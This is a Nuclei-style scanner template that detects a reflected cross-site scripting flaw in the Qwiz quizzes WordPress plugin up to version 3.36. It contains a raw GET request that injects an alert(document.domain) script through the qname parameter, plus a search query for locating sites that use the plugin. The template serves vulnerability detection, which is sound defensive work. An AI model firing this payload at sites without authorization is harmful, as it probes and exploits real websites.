id: wp-qwiz-online-xss

info:
  name: Qwiz Online Quizzes And Flashcards <= 3.36 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The qname, i_qwiz, session_id and username parameters passed to the registration_complete.php file are affected by XSS issues.
  remediation: Fixed in version 3.37
  reference:
    - https://wpscan.com/vulnerability/d3c10f69-87b6-43fd-bcbc-c2d35b683ff4
    - https://packetstormsecurity.com/files/154403/
    - https://wordpress.org/plugins/qwiz-online-quizzes-and-flashcards/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/qwiz-online-quizzes-and-flashcards/"
  tags: wordpress,wp-plugin,wp,wpscan,packetstorm,qwiz-online-quizzes-and-flashcards,xss,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/qwiz-online-quizzes-and-flashcards/registration_complete.php?&qname=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "quizzes/flashcard", "</script><script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a004830460221009716182396a618485b1022dad1e733096c16674f77a5281bc12bac3e5cea981b022100a91ec0eee45388fbc2f1581aa5dae153eba3bb37fe931f63d24c99a473340619:922c64590222798bb761d5b6d8e72950